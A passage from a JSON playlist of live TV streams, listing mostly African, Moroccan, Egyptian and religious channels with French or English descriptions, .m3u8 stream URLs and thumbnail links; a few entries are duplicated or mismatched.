TV"},{"description":"7 ok.","sources":["http://connectiktv.ddns.me:8080/cam10tv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/07/CAM10-REVUE.jpg","title":"CAM 10 TV / Cameroune"},{"description":"8 ok.","sources":["http://connectiktv.ddns.me:8080/leadergospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/leader-cable.jpg","title":"LEADER GOSPEL TV / Religion"},{"description":"9 ok.","sources":["http://connectiktv.ddns.me:8080/vstv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/VS-TV-300x168.jpg","title":"VS tv"},{"description":"10 0k.","sources":["http://connectiktv.ddns.me:8080/mytv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/mytv-channel-hd-300x169.jpg","title":"MY TV CHANNEL"},{"description":"Radio Tele Puissance est une chaine chrétienne qui diffuse en direct des programmes chrétien avec des vidéos et des films Gospel de premier ordre, des documentaires. radio Tele Puissance est une station très divertissante..","sources":["https://video1.getstreamhosting.com:1936/8560/8560/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://radioendirect.net/assets/images/radio/item/119251.jpg","title":"Radio Tele Puissance"},{"description":"Christ live est une chaine télévision de divertissement chrétienne disponible sur le satellite.","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/Cliv.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/christ-tv_logo.jpg","title":"CHRIST TV / Religion"},{"description":"QTV Gambia is the First Private Television Station","sources":["https://player.qtv.gm/hls/live.stream.m3u8"],"subtitle":"By Channel","thumb":"https://standard.gm/wp-content/uploads/2020/08/QTV-696x495.jpg","title":"QTV / Gambia"},{"description":"TVM International, or TVM Internacional, is the international channel of Mozambique's national TV broadcaster, Televisão de Moçambique (TVM), broadcasting for 24 hours per day. The channel will showcase local programming featuring Mozambican culture, tourism and sports.","sources":["http://196.28.226.121:1935/live/smil:Channel2.smil/chunklist_b714000_slpor.m3u8"],"subtitle":"By Channel","thumb":"https://clubofmozambique.com/wp-content/uploads/2020/03/tvmint.rm.jpg","title":"TVM Internacional"},{"description":"K24 TV est une chaine de télévision généraliste Kényane fondée en 2007 basé à Longonot Place, P. O. Box 49640 Kijabe St Tél : +254 20 2124801. K24 TV diffuse sur la télévision terrestre et en streaming sur Dailymotion et sur son site internet..","sources":["https://raw.githubusercontent.com/exodiver/IPTV/master/M3U8/Token/K24.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/k24-tv_logo.jpg","title":"K24 TV / Kenya"},{"description":"Afrobeat tv is a division of kaycee records .Kaycee Records is an independent record label established in the United Kingdom, and Nigeria Owned by Kennedy Kesidi Richard from Oguta in Imo State Nigeria .Afro beat tv is the new musical innovation to promote African art and and as a platform to promote and create awareness for up coming African artist all around the globe","sources":["http://connectiktv.ddns.net:8080/afrobit/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/05/AFROBIT-png-300x168.png","title":"AFROBITS / Music"},{"description":"Dunamis International Gospel Centre (DIGC) Jos Central is a powerfully anointed church, where God's Presence and power are saving, healing and restoring human destinies and dignities! Located in Alheri, Jos, Plateau State with HQT in Abuja Nigeria. Dunamis (Doo'na-mis) is the Greek word that means POWER.","sources":["https://christianworld.ashttp9.visionip.tv/live/visiontvuk-religion-dunamistv-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/ng-dunamis-tv-2163-300x225.jpg","title":"DUNAMIS TV / Religion"},{"description":"France tv sport, c’est d’abord l’actualité de TOUS les sports. De l’analyse en temps réel, du live ou encore des replays vidéo sont disponibles à tout moment. Enrichissez votre expérience et plongez au cœur de l'actualité du sport.","sources":["https://streamserv.mytvchain.com/sportenfrance/SP1564435593_720p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://liberador.net/media/images/FranceTv_Sport.max-640x640.jpg","title":"SPORTS FRANCE TV"},{"description":"Darut Tarbiyah La télévision en direct du Réseau islamique de Trinité-et-Tobago Chaîne de télévision religieuse / Darut Tarbiyah Le Réseau islamique (T.I.N.) est une chaîne de télévision câblée locale de Trinité-et-Tobago diffusant des programmes islamiques. La station est transportée sur le canal 96 ou 116 sur le système de câble Flow Trinidad. DARUT TARBIYAH - LE RÉSEAU ISLAMIQUE. Darut Tarbiyah Drive, Ramgoolie Trace North, Cunupia, Trinidad Antilles. Tél: (868) 693-1722, 693-1393","sources":["http://162.244.81.145:2215/live/livestream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://theislamicnetwork.org/wp-content/uploads/musicpro/bd-uploads/logo_logo_TIN-Logo-White-Text.png","title":"THE ISLAMIC NETWORK"},{"description":"D Sports HD est une chaine qui se fcalise sur les Sports en General : WWE, BOX, Football: Ligue brésilienne, Super League chinoise, Ligue portugaise, Major League Soccer (USA) Courses hippiques: courses quotidiennes diffusées en direct du Royaume-Uni et d'Irlande Golf: British Open (The Open Championship), US Open, PGA Championship, LPGA Motorsports: NASCAR, Championnat du Monde de Rallycross FIA Rugby: 6 Nations Rugby Cyclisme: Tour de France (propriété d'Eurosport).","sources":["http://jiocgehub.jio.ril.com/Dsports_HD/Dsports_HD.m3u8?fluxustv.m3u8"],"subtitle":"By Channel","thumb":"https://kccl.tv/sites/default/files/dsportjpg.jpg","title":"D Sports TV"},{"description":"Africa Sports TV est la première chaîne francophone d’information en continue de sport en Afrique. C’est un média fédérateur des sports africains. On parle de compétition locales, des ligues nationales sur toutes les disciplines du continent, dont le basketball, le football, la lutte… Il y aura beaucoup de lutte, qui prend un essor important sur le continent. Il y a tout un lobby autour de la lutte. Africa Sports TV est disponible Sur Le Canal 56 de la BbOX – Sur Le Canal 614 du Bouquet Africain Max de TV ORANGE.","sources":["https://strhls.streamakaci.tv/str_africasportstv_africasportstv/str_africasportstv_multi/str_africasportstv_africasportstv/str_africasportstv_player_1080p/chunks.m3u8"],"subtitle":"By Channel","thumb":"https://pbs.twimg.com/profile_images/1215646342812401668/SOnvVloX_400x400.jpg","title":"Africa Sports TV"},{"description":"Real Madrid TV est une chaîne de télévision numérique gratuite, exploitée par le Real Madrid, spécialisée dans le club de football espagnol. La chaîne est disponible en espagnol et en anglais. Il est situé à Ciudad Real Madrid à Valdebebas (Madrid), le centre de formation du Real Madrid.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hwebes_1@300661/index_3_av-b.m3u8"],"subtitle":"By Channel","thumb":"https://files.cults3d.com/uploaders/13539675/illustration-file/9c08780f-eb52-427b-aad7-b0a8c0fb83a1/real_madrid_ref1_large.JPG","title":"Real Madrid TV"},{"description":"Real Madrid Club de Fútbol, ce qui signifie Royal Madrid Football Club), communément appelé Real Madrid, est un club de football professionnel espagnol basé à Madrid. Fondé le 6 mars 1902 sous le nom de Madrid Football Club, le club porte traditionnellement un maillot blanc à domicile depuis sa création. Le mot réel est espagnol pour royal et a été accordé au club par le roi Alfonso XIII en 1920 avec la couronne royale dans l'emblème. L'équipe a disputé ses matchs à domicile dans le stade Santiago Bernabéu d'une capacité de 81 044 places au centre-ville de Madrid depuis 1947.","sources":["http://rmtv24hweblive-lh.akamaihd.net/i/rmtv24hweben_1@300662/master.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/e4/de/18/e4de1869c0eba3beab9ffc9d01660e65.jpg","title":"Real Madrid TV"},{"description":" EPT SPORTS HD est la nouvelle chaîne exclusivement sportive de l’audiovisuel public, ERT Sports HD, sa première officielle à 06h00 le matin du samedi 9 février 2019.","sources":["https://ert-live.siliconweb.com/media/ert_sports/ert_sportshigh.m3u8"],"subtitle":"By Channel","thumb":"https://png.pngitem.com/pimgs/s/681-6814150_ert-sports-hd-logo-ert-sports-hd-hd.png","title":"EPT Sports HD"},{"description":"Sports Tonight Live, branded simply as Sports Tonight, was a British television show and channel, owned by VISION247 based in Central London. It was launched online on 29 August 2011.","sources":["http://sports.ashttp9.visionip.tv/live/visiontvuk-sports-sportstonightlive-hsslive-25f-4x3-SD/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://embeddedplayer.visionip.tv/portals/Sports_Tonight_Live/Sports_Tonight_Live/overlay_logos/Sports%20Tonight%20Live-plBackground-1308.png","title":"Sports Tonight"},{"description":"Arryadia HD TV est une chaîne sportive de télévision publique marocaine. Il fait partie du groupe public SNRT avec Al Aoula, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 16 septembre 2006. Arryadia est le diffuseur officiel de la ligue marocaine Botola.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arriadia/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://4.bp.blogspot.com/-lnh_8LWuXaw/WZ09LDkMsZI/AAAAAAAAEeI/9FKtxdQjbl4UVqmZjqN4R-fE9uOLG2ccQCLcBGAs/s1600/FB_IMG_1503465850383.jpg","title":"Arryadia TV / Maroc"},{"description":"Assadissa TV est une chaîne de télévision publique marocaine dédiée aux affaires religieuses. Il fait partie du groupe public SNRT avec Al Aoula, Arryadia, Athaqafia, Al Maghribia, Aflam TV, Tamazight TV et Laayoune TV. La chaîne a été lancée le 3 novembre 2005. Outre les lectures du Coran, il existe également des programmes de services religieux, de débats et de documentaires. Il est diffusé tous les jours de 2h00 à 23h00. Le samedi, il est de 6h00 à 21h00.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/assadissa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7e/Assadissa.png","title":"Assadissa TV/ Maroc"},{"description":"Al Aoula, anciennement appelée TVM (Télévision marocaine, arabe: ??????? ????????), est la première chaîne de télévision publique marocaine. Il fait partie du groupe public SNRT avec Arryadia, Athaqafia, Al Maghribia, Assadissa, Aflam TV, Tamazight TV et Laayoune TV. Le réseau diffuse des programmes en arabe, berbère, français et espagnol. Son siège est situé à Rabat. Lancé en 1962, Al Aoula a été le premier réseau de télévision à produire et à diffuser ses propres programmes dans le pays. En 1962, il a commencé des émissions en couleur.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/al_aoula_inter/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://live.staticflickr.com/1853/44065447112_7a93bb434f.jpg","title":"Al Aoula TV/ Maroc"},{"description":"2M TV est une chaîne de télévision marocaine gratuite. Il a été créé par le conglomérat royal, ONA, avant d'être en partie vendu à l'État marocain. 20,7% de 2M appartiennent à la société holding de Mohammed VI SNI. Alors qu'environ 60% sont contrôlés par l'État marocain. Il est basé à Casablanca. Il est disponible gratuitement localement sur signal numérique avec une couverture sur tout le Maroc et sur la télévision par satellite via Globecast, Nilesat et Arabsat. 2M propose des services en arabe, français et berbère.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/2m_monde/hls_video_ts/2m_monde.m3u8"],"subtitle":"By Channel","thumb":"https://caidal.ma/wp-content/uploads/2019/04/ob_febd69_2-m-maroc-en-ligne.jpg","title":"2M TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Tele Maroc est la nouvelle chaîne satellitaire généraliste marocaine créée par rachid Niny. Siège à Madrid. « C’est donc une chaéne de télévision légalement espagnole avec un contenu marocain.","sources":["https://api.new.livestream.com/accounts/27130247/events/8196478/live.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/1d/b5/9e1db51201d4debce634f6e8b44a2424.jpg","title":"Tele Maroc"},{"description":"Tamazinght TV est une chaîne de télévision publique marocaine créée le 6 janvier 2010, propriété de la Société nationale de radiodiffusion et de télévision. La chaîne a pour objectif la promotion et la préservation de la culture amazighe au Maroc et dans la région de l'Afrique du Nord. en langue berbère. 70% en tashelhit, tarifit et tamazight (les 3 variantes du berbère du Maroc), le reste en arabe.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/tamazight_tv8_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"http://hub.tv-ark.org.uk/images/International/international_images/morocco_images/tamazight/Tamazight_TV_ident4_060912a.jpg","title":"Tamazight TV / Maroc"},{"description":"EMCI TV est une chaîne de télévision chrétienne évangélique francophone. Les studios de la chaîne se trouvent dans la ville de Québec, Canada. Le contenu de la programmation est assez varié et provient de divers pays francophones d’Afrique, d’Europe et d’Amérique. Des clips musicaux, des enseignements bibliques, des prédications, la Bible en vidéo, des temps de prière, des reportages, des documentaires, des films ainsi que des séries y sont présentés.","sources":["https://emci-fr-hls.akamaized.net/hls/live/2007265/emcifrhls/index.m3u8"],"subtitle":"By Channel","thumb":"https://www.enseignemoi-files.com/site/view/images/dyn-cache/pages/image/img/23/62/1522940482_236277_1200x630x1.f.jpg?v=2018021301","title":"EMCI TV / Religion"},{"description":"CIS TV est une chaine tv guinéen consacré au sport et à la culture. basée à Conakry, fondé en 2016 par Mamadou Antonio Souaré. CIS TV est diffuse via le satellite Fréquence Tv 3689: Symbole 1083: Satelite eutelsat 10a ZONES DE DIFFUSION : tiers d'Afrique.","sources":["http://51.81.109.113:1935/CDNLIVE/CISTV/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.senegal7.com/wp-content/uploads/2019/03/f9180cb9286c49c4f3a6c793798b9ddf.png","title":"CIS TV / Guinee"},{"description":"Faso TV est une initiative de Magic Communication et Médias, une société à responsabilité limitée basée à Ouagadougou, capitale du Burkina Faso. C’est une chaîne de télévision en ligne destinée à l’événementiel. Nous entendons par événementiel toutes manifestations ou activités à caractère culturel, économique, éducatif ou sportif dont l’objectif est de susciter la mobilisation, l’adhésion, l’engouement de la population ou d’un public cible au plan local, national ou international. Autrement dit, notre stratégie éditoriale consiste à faire la promotion de toutes activités qui contribuent au développement socio-économique et culturel, à l’éducation, au divertissement et au bien être de la population burkinabé et de sa diaspora.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/163893638025530331068059.m3u8"],"subtitle":"By Channel","thumb":"https://fasotv.net/wp-content/uploads/2019/10/logo-final-sans-slogan.png","title":"FASO TV / Burkina Fasso "},{"description":"Plex tv une chaîne généraliste spécialisé dans la retransmissions des événement. émission et qui diffuse aussi des films, musiques, divertissement, sport, magasine etc et une multitude de programme en haute définition.","sources":["http://connectiktv.ddns.net:5000/plextv/@plextv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lifetimepremiumaccounts.com/wp-content/uploads/2019/03/plex-logo.jpg","title":"PLEX TV / "},{"description":"PLAY TV est une chaine de télévision musicale Camerounaise basée à Yaoundé, elle diffuse un programme 100% musicale la musique d’ici et d’ailleurs en haute définition..","sources":["http://connectiktv.ddns.net:5000/playtv/@playtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/04/logo-play-tv-300x113.jpg","title":"PLAT TV / Cameroune "},{"description":"TVR Rennes 35 Bretagne est une chaîne de télévision locale née en mars 1987 sous le nom de TV Rennes. TVR Rennes 35 Bretagne fut inaugurée à son lancement par le président de la République, elle fut la première télévision locale créée en France elle est diffusée Canal 35 sur la TNT / Canal 30 sur Orange, Freebox et BBox / Canal 95 sur Numéricable et en direct streaming sur son site Internet.","sources":["https://streamtv.cdn.dvmr.fr/TVR/ngrp:tvr.stream_all/master.m3u8"],"subtitle":"By Channel","thumb":"https://w0.pngwave.com/png/890/19/tvr-tv-rennes-35-logo-television-channel-tvr-t350-png-clip-art.png","title":"Rennes TV / France Sports "},{"description":"Chaîne franco-marocaine basée à Tanger et destinée au Maghreb. Programmation culturelle avec information, reportages et documentaires. En arabe et en Français. Fin 2010, elle a également commencé à diffuser à la télévision analogique terrestre au Maroc, en plus de la télévision numérique par satellite. Il a été rebaptisé Medi 1 TV.","sources":["http://streaming.medi1tv.com/live/Medi1tvmaghreb.sdp/chunklist.m3u8"],"subtitle":"By Channel","thumb":"http://www.logotypes101.com/logos/807/C85CC3231EAD10CEC61C182C7DED072D/medi1tvlogo.png","title":"Medi 1 TV / Maroc"},{"description":"M24 Television est la chaîne d’info en continu de l’agence marocaine de presse (MAP). Une chaîne qui couvre l’actualité marocaine et internationale. Une chaîne fidèle aux valeurs de la MAP qui est le premier producteur d'information au Maroc. Le fil de la MAP se décline en cinq langues : Arabe, Amazighe, Français, Anglais et Espagnol. la MAP présente dans toutes les régions du Royaume et dans les cinq continents, elle fournit tous les médias en informations, reportages, analyses et portraits.","sources":["https://www.m24tv.ma/live/smil:OutStream1.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is5-ssl.mzstatic.com/image/thumb/Purple114/v4/e4/c6/3e/e4c63e4e-b8ff-a14e-cacd-3593f09c1f78/source/512x512bb.jpg","title":"M24 TV / Maroc"},{"description":"La chaîne Al Magharibia diffuse des programmes politiques, sociaux et économiques depuis sa base privée de Londres. La chaîne est diffusée en arabe et s'adresse aux pays du Mahgreb, l'Algérie en particulier. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique. Le ton d'Al Magharibia est fermement basé sur un discours politique et idéologique.","sources":["https://cdnamd-hls-globecast.akamaized.net/live/ramdisk/al_maghribia_snrt/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRT-AlMaghribia.png","title":"Al maghribia TV / Maroc"},{"description":"Athaqafia TV est une chaîne gratuite disponible sur le satellite Hotbird et propose une gamme de programmes allant des documentaires et des programmes éducatifs ainsi que de la musique, des dessins animés et des divertissements familiaux. La chaîne s'adresse principalement aux familles et est diffusée principalement en arabe mais parfois en langue française et berbère. La chaîne a été créée par la société de production marocaine appartenant à l'État, SNRT.","sources":["http://cdn-hls.globecast.tv/live/ramdisk/arrabiaa/hls_snrt/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.sat.tv/wp-content/uploads/2016/05/SNRTAThaqafia.png","title":"Athaqafia TV / Maroc"},{"description":"Al-Fath channel is the property of Sheikh Ahmed Awad Abdo, and is considered the satellite channel of the Islamic religious channels that follow the Sunnah, and offers a series of programs interpretation for the Quran Al-Kareem, and many true prophetic and the CEO is Prof. Ahmed Abdou Awad, the Islamic Scholar.","sources":["https://svs.itworkscdn.net/alfatehlive/fatehtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-alfath-tv.jpg","title":"Al Fath TV / Egypte"},{"description":"Al Hayah started broadcasting in 2008 during the last years of Mubarak's rule, which saw a revival in the ownership of the media. It was founded by businessman El Sayed El Badawi as part of Al Hayah Channels Network. El Badawi assumed the presidency of the Wafd Party from May 2010 until March 2018. El Badawi is one of the businessmen who played political roles in addition to owning media outlets, such as Al Dostor (link to profile). ","sources":["http://media.islamexplained.com:1935/live/_definst_mp4:ahme.stream_360p/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/474x/76/1a/a4/761aa46eb54c24d21ca5866f21442426.jpg","title":"Al hayat TV / Maroc"},{"description":"The El Sharq channel broadcasts Various programs, from Egypt country in the Arabic language, last updated time on March 25, 2016. El Sharq which considered to view as a Free to air satellite TV channel.","sources":["https://mn-nl.mncdn.com/elsharq_live/live/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://egytvs.com/wp-content/uploads/2014/06/al-sharq-200x75.jpg","title":"Al sharq TV / Maroc"},{"description":"Guinée TV1 est une chaine de télévision généraliste Guinéenne basée à Conakry. Elle diffuse de la musique des informations des documentaires. des programmes religieux et autre.","sources":["https://playtv4kpro.com:5443/LiveApp/streams/664825404798849938149128.m3u8"],"subtitle":"By Channel","thumb":"https://gtv1love.com/wp-content/uploads/2019/10/logo4.png","title":"GUINEE TV / Guinee "},{"description":"Inooro TV chaînes de télévision généraliste Kényane en langue Kikuyu lancé le 26 octobre 2015. Elle diffuse 24 heures sur 24. Inooro TV est une chaine du groupe Royal Media Services (RMS).","sources":["https://vidcdn.vidgyor.com/inoorotv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://royalmedia.s3.amazonaws.com/wp-content/uploads/2019/10/inoorotv.jpg","title":"INOORO TV / Kenya "},{"description":"Citizen TV Kenya est une station nationale Kényane détenue par Royal Media Services Ltd.Elle diffuse principalement en anglais et en swahili. Elle a été lancé en 1999 et relancé en Juin 2006 c’est la station de télévision avec la plus forte croissance au Kenya avec un fort accent sur ??la programmation locale Basé au Communication Centre,Maalim Juma Road,Off Dennis Pritt Road, Nairobi, 7498-00300.","sources":["https://vidcdn.vidgyor.com/citizentv-origin/liveabr/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.innocirc.com/wp-content/uploads/2017/07/citizen.jpg","title":"CITIZEN TV / Kenya "},{"description":"RTJ TV ( Radio Télévision Jeune ) est une chaine de télévision culturel Sénégalaise. Elle diffuse des programme de divertissement( WatZapp le Zapping), Musique (playlist Mix Afro Mix Zouk Mix Hip Hop Musique sénégalaise), bien être, documentaire, Émission éducatif qui consiste à joindre l’utile à l’agréable à travers l'éducation des enfants, interviews ect.","sources":["http://public.acangroup.org:1935/output/rtjtv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://rtjtv.com/images/rtjtv.png","title":"RTJ TV / Senegal"},{"description":"Mouride tv est une chaine de télévision généraliste sénégalaise basé à touba, Senegal. Mouride tv c’est la télévision base au coeur des événement mourides magal, thiante, wakhtane, khassaide, kourel en direct..","sources":["http://51.81.109.113:1935/Livemouridetv/mouridetv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/sn-mouride-tv.jpg","title":"MOURIDE TV / Senegal"},{"description":"ANN TV est une chaîne d’Informations générales et de Divertissement. Elle est produite par JUUF COMMUNICATION et diffusée sur le site d’informations générales multimédia ANN. La plateforme ANN comporte un journal en ligne (ANN), une WebRadio (ANN FM) et une WebTV (ANN TV).","sources":["http://vod.acangroup.org:1935/output/anntv.stream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://an-news.com/wp-content/uploads/2019/05/aan.png","title":"ANN TV / Senegal"},{"description":"Louga TV est une chaine culturelle et religieuse Senegalaise qui se veut attractive et objective. En temps réel, elle produit des vidéos de qualité qui tiennent compte de la spécificité de l’information et de la crédibilité de ses sources. Également, l’équipe technique et rédactionnelle est constituée de techniciens chevronnés aux compétences avérées. Dans son approche des enjeux de l’information capitale, la chaine louga tv offre des vidéos qui informent, forment et transforment le citoyen dans l’approche de son monde en devenir..","sources":["http://ira.dyndns.tv:8080/live/louga/CAnhiMtR6C/1708.m3u8"],"subtitle":"By Channel","thumb":"https://i.ytimg.com/vi/3Gnt2_SndXw/maxresdefault.jpg","title":"LOUGA TV / Senegal"},{"description":"Dieu TV est une chaine de télévision généraliste chrétienne pour la Francophonie.Elle proclame la Bonne Nouvelle du Salut en Jésus-Christ pour atteindre les 400 millions de Francophones dans le monde. Fondée en 2007. Dieu TV diffuse sur le Satellite Eutelsat 5WA (Europe et Afrique du Nord), et le Satellite Amos 5 et en streaming sur son site interne","sources":["https://katapy.hs.llnwd.net/dieutvwza1/DIEUTVLIVE/smil:dieutv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/fr-dieu-tv.jpg","title":"DIEU TV / Religion "},{"description":"Radio Télévision Hirondelle : La nouvelle couleur du Sud. Elle diffuse des émissions pour divers catégories nouvelles locales, nationales et internationales le sport du monde Entier la musique et videos clips Promotions des artistes Locaux.","sources":["http://play.acwstream.com:2000/live/acw_01/index.m3u8"],"subtitle":"By Channel","thumb":"https://radiotelehirondelle.com/wp-content/uploads/2020/08/logo.png","title":"HIRONDELLE TV"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["https://hbiptv.live/player/sakchotv/index.m3u8"],"subtitle":"By Channel","thumb":"https://image.roku.com/developer_channels/prod/1de97a21d9bd773a115a5467974be0b859d1157256316bd1e72ed48965c0191a.png","title":"BEL TV / Haiti "},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr-prod.shahid.net/masr-prod.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/7/7c/MBC_Masr_Logo.png","title":"MBC MSR 1 / Egypte"},{"description":"The Middle East Broadcasting Center (MBC) Group is the first private free-to-air satellite broadcasting company in the Arab World. It was launched in London in 1991 and later moved to its headquarters in Dubai in 2002. MBC Group provides multiple channels of information, interaction and entertainment. MBC Group includes 10 television channels: MBC1 (general family entertainment via terrestrial), MBC2 and MBC MAX (24-hour movies), MBC3 (children’s entertainment), MBC4 (entertainment for new Arab women via terrestrial).","sources":["https://shls-masr2-prod.shahid.net/masr2-prod.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/01/3c/21/013c218c3ce9b3cfc883bdcdb121e5e6.jpg","title":"MBC MSR 2 / Egypte"},{"description":"Mekameleen TV is an Egyptian opposition TV Channel. It is based in Istanbul. It's known to be supportive of the Muslim Brotherhood","sources":["https://mn-nl.mncdn.com/mekameleen/smil:mekameleentv.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/12/5b/1f/125b1febb8ada3a4f83475c2643adeb7.jpg","title":"Mekameleen TV / Egypte"},{"description":"The Kingdome Sat is television from Egypte founded in 2009 by Dr. Michael Yousef, the KingdomSat channel aims to introduce written teachings from the East and West to complement the vision given by God to the loss of the faraway and to encourage believers in the Middle East and North Africa region.","sources":["https://bcovlive-a.akamaihd.net/87f7c114719b4646b7c4263c26515cf3/eu-central-1/6008340466001/profile_0/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/eg-kingdom-sat-channe.jpg","title":"The Kingdom Sat TV / Egypt"},{"description":"D5 TV Music est une nouvelle chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["https://www.rti.ci/direct_rti2.html"],"subtitle":"By Channel","thumb":"https://d5music.tv/wp-content/uploads/2020/07/cropped-LOGO-D5-MUSIC-BLANCROUGE_carre-192x192.png","title":"RTI 2 TV"},{"description":"A2iTV la chaine 100% immigration Senegalais, qui est née de la synergie de personnes qui ont décidé d’ unir leur force, leur compétence et leur ressources matérielles et financiéres pour participer avec l’aide des nouvelles technologies à informer sur l’ immigration .","sources":["http://51.158.31.93:1935/a2itv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/A2itv_logo.jpg","title":"A2i TV / Senegal"},{"description":"A2i music est une chaine culturelle destinée à la Diaspora avec des programmes musicales et des dramatiques. A2i music couvre aussi les autres parties du monde, notament les Etats Unis, le Canada, l’Asie, etc. à travers les boitiers Roku fournis par AfricaAstv, Acantv, My African pack de Invevo et Sénégal.","sources":["http://51.158.31.93:1935/a2itvtwo/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.centraltv.fr/wp-content/uploads/a2i-music_logo.jpg","title":"A2i TV / Music "},{"description":"A2i tv Relegion est une chaine culturelle destinée à la Diasporat senegalais avec des programme chretiens.","sources":["http://51.158.31.93:1935/a2itvthree/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/wwumXcAbY83D0q-NgUv2veS-p54FJTq6LAvsPRwYwWo-70ggeDkCM1VdhqhibRQNk4o=s180-rw","title":"A2i TV / Religion "},{"description":"Love World Plus TV is your Christian faith and lifestyle channel destined to bring a new level of dynamism into Christian television programming through satellite and the internet. The reach of LoveWorld Plus is limitless.","sources":["http://hls.live.metacdn.com/2450C7/bedkcjfty/lwplus_628.m3u8"],"subtitle":"By Channel","thumb":"https://d3c5pcohbexzc4.cloudfront.net/videos/thumbs/be214-loveworldplus.jpg","title":"Love World Plus TV"},{"description":"A2i naija est une nouvelle 